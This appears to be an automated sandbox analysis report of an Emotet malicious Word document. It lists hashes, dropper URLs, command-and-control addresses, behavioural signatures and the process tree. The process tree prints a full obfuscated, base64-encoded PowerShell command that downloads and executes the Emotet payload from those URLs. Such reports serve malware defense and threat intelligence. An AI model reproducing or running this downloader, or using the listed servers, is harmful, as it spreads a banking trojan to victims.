emotet | 36e4e4ccf775933ead778432f28d5db688afb8d3e5d0d0c45e0eda71ded20fd4

Analysis

max time kernel
135s
max time network
151s
platform
windows10_x64
resource
win10
submitted
26/08/2020, 13:33

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General

Target
emotet_e3_36e4e4ccf775933ead778432f28d5db688afb8d3e5d0d0c45e0eda71ded20fd4_2020-08-26__133208._doc.doc
Size 221KB
Sample200826-3ebr4xjcse
SHA256 36e4e4ccf775933ead778432f28d5db688afb8d3e5d0d0c45e0eda71ded20fd4
MD5 39bf56acebcc9d1fc50e2fae8d093750
SHA1 3131df689d722991f3a5d0c179b129053e11b6d6
SHA512 43cef64daccbac370dd62f9e1bf90fbfafa03c5c45db248f0706580e60c2f923194d3ddcaad27212e696d55631269f39a5008805ad5c16a64e893d5c17b181cd
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

Source

URLs

exe.dropper
http://inmed.vn/wp-content/BTAvhtA/
exe.dropper
http://softpark.com.br/administrator/xwFvil6rzzki0254/
exe.dropper
http://blueprint.sd/c8elx3o/xvMBZZbAIAoq/
exe.dropper
https://uptechnology.com.br/redepay/img/dDiOE/
exe.dropper
http://matadebenfica.com/permanente/IoEsXoKNsRRQ/
exe.dropper
http://tjstore.ir/wp-admin/lcVWrhdoywvf8x8712/
exe.dropper
http://garden-center.ro/wp-content/ddYzXcaL/

Extracted

Family

emotet

88.249.181.198:443
65.156.53.186:8080
68.183.233.80:8080
185.81.158.15:8080
37.187.100.220:7080
60.125.114.64:443
201.235.10.215:80
81.214.253.80:443
118.101.24.148:80
181.126.54.234:80
197.232.36.108:80
178.87.171.199:80
139.99.157.213:8080
115.79.195.246:80
177.94.227.143:80
113.161.148.81:80
192.210.217.94:8080
173.94.215.84:80
112.78.142.170:80
217.199.160.224:8080
181.137.229.1:80
190.53.144.120:80
85.25.207.108:8080
168.0.97.6:80
185.86.148.68:443
91.83.93.103:443
75.127.14.170:8080
37.46.129.215:8080
81.17.93.134:80
71.57.180.213:80
115.78.11.155:80
95.216.205.155:8080
179.5.118.12:80
113.203.250.121:443
185.208.226.142:8080
1.54.67.22:80
51.38.201.19:7080
77.74.78.80:443
202.5.47.71:80
157.245.138.101:7080
175.29.183.2:80
74.208.173.91:8080
78.189.60.109:443
178.33.167.120:8080
220.254.198.228:443
192.163.221.191:8080
203.153.216.178:7080
162.249.220.190:80
82.239.200.118:80
105.209.235.113:8080
190.55.186.229:80
190.164.75.175:80
197.221.158.162:80
86.57.216.23:80
177.32.8.85:80
190.212.140.6:80
46.32.229.152:8080
172.105.78.244:8080
45.182.161.17:80
87.106.231.60:8080
51.255.15.193:7080
172.96.190.154:8080
185.142.236.163:443
103.80.51.61:8080
157.7.164.178:8081
188.0.135.237:80
46.105.131.68:8080
50.116.78.109:8080
5.79.70.250:8080
179.62.238.49:80
177.144.130.105:443
192.241.220.183:8080
190.190.15.20:80
41.185.29.128:8080
201.213.177.139:80
189.39.32.161:80
195.201.56.70:8080
2.144.244.204:443
66.61.94.36:80
198.57.203.63:8080
86.98.143.163:80
188.251.213.180:443
181.113.229.139:443
143.95.101.72:8080
139.59.12.63:8080
107.161.30.122:8080
31.146.61.34:80

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	1000	2164	powersheLL.exe	67

Blacklisted process makes network request 1 IoCs

flow	pid	Process
10	1000	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
2452	Uamrrgt.exe
2184	ndproxystub.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\PATHPING\ndproxystub.exe	Uamrrgt.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
4016	WINWORD.EXE
4016	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 9 IoCs

pid	Process
1000	powersheLL.exe
1000	powersheLL.exe
1000	powersheLL.exe
2184	ndproxystub.exe
2184	ndproxystub.exe
2184	ndproxystub.exe
2184	ndproxystub.exe
2184	ndproxystub.exe
2184	ndproxystub.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	1000	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
4016	WINWORD.EXE
2452	Uamrrgt.exe
2452	Uamrrgt.exe
2184	ndproxystub.exe
2184	ndproxystub.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 1000 wrote to memory of 2452	1000	powersheLL.exe	75
PID 1000 wrote to memory of 2452	1000	powersheLL.exe	75
PID 1000 wrote to memory of 2452	1000	powersheLL.exe	75
PID 2452 wrote to memory of 2184	2452	Uamrrgt.exe	76
PID 2452 wrote to memory of 2184	2452	Uamrrgt.exe	76
PID 2452 wrote to memory of 2184	2452	Uamrrgt.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e3_36e4e4ccf775933ead778432f28d5db688afb8d3e5d0d0c45e0eda71ded20fd4_2020-08-26__133208._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:4016

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABYAG8AdgBmAHYAMgBuAD0AKAAnAEEAMwAnACsAKAAnAGcAZwAzACcAKwAnADgAdQAnACkAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAVABlAG0AUABcAFcATwByAEQAXAAyADAAMQA5AFwAIAAtAGkAdABlAG0AdAB5AHAAZQAgAGQAaQBSAEUAYwBUAE8AcgBZADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAGUAYwBVAHIAYABpAGAAVAB5AHAAYABSAG8AdABPAGMAYABvAGwAIgAgAD0AIAAoACcAdAAnACsAKAAnAGwAcwAxADIAJwArACcALAAnACkAKwAnACAAdAAnACsAKAAnAGwAcwAxACcAKwAnADEALAAgAHQAJwApACsAJwBsAHMAJwApADsAJABGADQAcABfAHoAeQBhACAAPQAgACgAKAAnAFUAYQAnACsAJwBtAHIAcgAnACkAKwAnAGcAdAAnACkAOwAkAEIAcgA3AG4ANQBjAHIAPQAoACgAJwBRACcAKwAnAGQAawAnACkAKwAoACcAcAAnACsAJwBpAHEAZgAnACkAKQA7ACQASwBrADUAZQByAHcAdwA9ACQAZQBuAHYAOgB0AGUAbQBwACsAKAAoACgAJwBjACcAKwAnAEoAZAB3AG8AJwArACcAcgBkAGMAJwArACcASgAnACkAKwAnAGQAJwArACgAJwAyADAAMQAnACsAJwA5AGMAJwApACsAJwBKACcAKwAnAGQAJwApAC4AIgBSAEUAYABQAGAATABhAEMAZQAiACgAKABbAEMAaABhAFIAXQA5ADkAKwBbAEMAaABhAFIAXQA3ADQAKwBbAEMAaABhAFIAXQAxADAAMAApACwAJwBcACcAKQApACsAJABGADQAcABfAHoAeQBhACsAKAAnAC4AJwArACgAJwBlACcAKwAnAHgAZQAnACkAKQA7ACQAWAA5AGQAegBwAHAANAA9ACgAKAAnAEcAYwBoACcAKwAnAHoAbQAnACkAKwAnAHUANAAnACkAOwAkAEQAbwAzADEAMgBsAGwAPQAuACgAJwBuACcAKwAnAGUAdwAnACsAJwAtAG8AYgBqAGUAYwB0ACcAKQAgAG4AZQBUAC4AdwBlAGIAYwBsAGkARQBOAHQAOwAkAEkAeQBiAGMAZwBpAGIAPQAoACgAJwBoAHQAdAAnACsAJwBwACcAKQArACcAOgAnACsAKAAnAC8AJwArACcALwBpAG4AbQAnACkAKwAnAGUAJwArACcAZAAnACsAJwAuAHYAJwArACgAJwBuAC8AdwAnACsAJwBwAC0AJwApACsAKAAnAGMAbwBuAHQAZQAnACsAJwBuAHQAJwApACsAKAAnAC8AJwArACcAQgBUACcAKQArACcAQQAnACsAJwB2AGgAJwArACcAdAAnACsAKAAnAEEAJwArACcALwAqAGgAdAB0ACcAKQArACgAJwBwACcAKwAnADoALwAvACcAKQArACcAcwAnACsAJwBvACcAKwAoACcAZgAnACsAJwB0AHAAJwArACcAYQByAGsALgBjACcAKQArACgAJwBvAG0ALgBiAHIAJwArACcALwBhACcAKQArACgAJwBkAG0AJwArACcAaQAnACkAKwAoACcAbgBpAHMAdAAnACsAJwByACcAKQArACgAJwBhACcAKwAnAHQAbwByACcAKQArACgAJwAvAHgAdwBGAHYAaQBsACcAKwAnADYAJwArACcAcgB6AHoAawAnACkAKwAnAGkAJwArACcAMAAyACcAKwAnADUAJwArACcANAAnACsAJwAvACcAKwAnACoAaAAnACsAJwB0AHQAJwArACgAJwBwADoALwAvAGIAJwArACcAbAAnACsAJwB1AGUAcAByACcAKQArACcAaQBuACcAKwAoACcAdAAuAHMAJwArACcAZAAnACkAKwAnAC8AJwArACcAYwAnACsAJwA4AGUAJwArACcAbAAnACsAJwB4ADMAJwArACgAJwBvAC8AJwArACcAeAB2AE0AJwArACcAQgBaACcAKQArACgAJwBaAGIAJwArACcAQQBJACcAKQArACgAJwBBAG8AcQAvACoAaAB0AHQAJwArACcAcAAnACsAJwBzACcAKQArACgAJwA6AC8ALwB1AHAAdAAnACsAJwBlACcAKwAnAGMAJwApACsAKAAnAGgAbgAnACsAJwBvAGwAJwArACcAbwBnAHkAJwArACcALgBjACcAKQArACgAJwBvAG0ALgAnACsAJwBiAHIAJwApACsAKAAnAC8AJwArACcAcgBlACcAKQArACgAJwBkAGUAJwArACcAcABhACcAKQArACcAeQAnACsAKAAnAC8AaQBtAGcAJwArACcALwAnACkAKwAoACcAZAAnACsAJwBEAGkATwBFAC8AKgAnACkAKwAoACcAaAAnACsAJwB0AHQAJwApACsAKAAnAHAAOgAvAC8AbQBhAHQAYQAnACsAJwBkAGUAJwArACcAYgAnACsAJwBlAG4AZgBpACcAKwAnAGMAYQAnACsAJwAuACcAKQArACcAYwBvACcAKwAnAG0ALwAnACsAKAAnAHAAZQByACcAKwAnAG0AYQBuACcAKwAnAGUAbgB0ACcAKQArACcAZQAnACsAKAAnAC8ASQBvACcAKwAnAEUAJwArACcAcwBYAG8AJwArACcASwBOAHMAJwArACcAUgBSAFEAJwApACsAKAAnAC8AJwArACcAKgBoACcAKwAnAHQAdABwADoAJwApACsAKAAnAC8ALwB0ACcAKwAnAGoAJwApACsAKAAnAHMAdABvACcAKwAnAHIAJwApACsAKAAnAGUALgBpAHIALwB3ACcAKwAnAHAALQAnACsAJwBhACcAKQArACgAJwBkAG0AaQBuACcAKwAnAC8AbABjAFYAVwAnACsAJwByAGgAJwApACsAKAAnAGQAbwAnACsAJwB5AHcAdgAnACsAJwBmADgAeAAnACsAJwA4ADcAMQAyAC8AJwApACsAKAAnACoAaAB0AHQAJwArACcAcAA6AC8AJwApACsAKAAnAC8AJwArACcAZwBhAHIAZAAnACsAJwBlAG4ALQAnACkAKwAnAGMAZQAnACsAKAAnAG4AdABlAHIAJwArACcALgAnACsAJwByACcAKwAnAG8ALwB3AHAAJwApACsAKAAnAC0AYwBvACcAKwAnAG4AdAAnACkAKwAoACcAZQBuACcAKwAnAHQALwBkAGQAJwApACsAKAAnAFkAJwArACcAegBYAGMAYQBMAC8AJwApACkALgAiAFMAcABgAEwASQB0ACIAKABbAGMAaABhAHIAXQA0ADIAKQA7ACQAVwA2AGQAZQA2AF8AZAA9ACgAJwBIAGUAJwArACcAdQB5ACcAKwAoACcAdwAnACsAJwBlAGUAJwApACkAOwBmAG8AcgBlAGEAYwBoACgAJABTAHkAbgBnADUANAB3ACAAaQBuACAAJABJAHkAYgBjAGcAaQBiACkAewB0AHIAeQB7ACQARABvADMAMQAyAGwAbAAuACIARABPAHcATgBsAGAAbwBhAGAAZABmAEkAbABFACIAKAAkAFMAeQBuAGcANQA0AHcALAAgACQASwBrADUAZQByAHcAdwApADsAJABXAHkAdQB0AGMANQBsAD0AKAAnAFIAJwArACcAdgAnACsAKAAnAGQAMgA3ADMAJwArACcAMQAnACkAKQA7AEkAZgAgACgAKAAuACgAJwBHACcAKwAnAGUAdAAtACcAKwAnAEkAdABlAG0AJwApACAAJABLAGsANQBlAHIAdwB3ACkALgAiAGwAZQBOAGAAZwBUAGgAIgAgAC0AZwBlACAAMgAxADYAOQA0ACkAIAB7AC4AKAAnAEkAJwArACcAbgB2AG8AJwArACcAawBlAC0ASQAnACsAJwB0AGUAbQAnACkAKAAkAEsAawA1AGUAcgB3AHcAKQA7ACQATwB1AG4AbQBiADQAOQA9ACgAJwBFACcAKwAoACcAbwBrACcAKwAnADcAZgB6ACcAKwAnAGYAJwApACkAOwBiAHIAZQBhAGsAOwAkAFcANQB5AGEAagB4AGMAPQAoACgAJwBNACcAKwAnAHAAawAnACkAKwAoACcAOAAnACsAJwBuAGMAdAAnACkAKQB9AH0AYwBhAHQAYwBoAHsAfQB9ACQATABtAGIAdQAyAF8ANQA9ACgAJwBRAHkAJwArACgAJwA5AHAAJwArACcAYQAyACcAKQArACcAdAAnACkA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1000
- C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe
  "C:\Users\Admin\AppData\Local\Temp\word\2019\Uamrrgt.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\PATHPING\ndproxystub.exe
    "C:\Windows\SysWOW64\PATHPING\ndproxystub.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2184

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/1000-11-0x00007FFCB6490000-0x00007FFCB6E7C000-memory.dmp

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memory/1000-13-0x0000024F75DA0000-0x0000024F75DA1000-memory.dmp

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memory/1000-12-0x0000024F75BF0000-0x0000024F75BF1000-memory.dmp

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memory/2184-20-0x00000000021A0000-0x00000000021AC000-memory.dmp

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memory/2452-17-0x00000000022D0000-0x00000000022DC000-memory.dmp

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memory/4016-5-0x000001752CD91000-0x000001752CD94000-memory.dmp

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memory/4016-10-0x000001752CEAE000-0x000001752CEC2000-memory.dmp

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memory/4016-9-0x000001752CEAE000-0x000001752CEC2000-memory.dmp

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memory/4016-8-0x000001752CEAE000-0x000001752CEC2000-memory.dmp

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memory/4016-7-0x000001752CEAE000-0x000001752CEC2000-memory.dmp

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memory/4016-6-0x000001752AA2B000-0x000001752AA3C000-memory.dmp

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memory/4016-0-0x00007FFCC2130000-0x00007FFCC27F6000-memory.dmp

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memory/4016-4-0x000001752CD8E000-0x000001752CD91000-memory.dmp

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memory/4016-3-0x000001752CD91000-0x000001752CD94000-memory.dmp

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memory/4016-2-0x000001752CD8E000-0x000001752CD91000-memory.dmp

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memory/4016-1-0x000001752CD91000-0x000001752CD94000-memory.dmp

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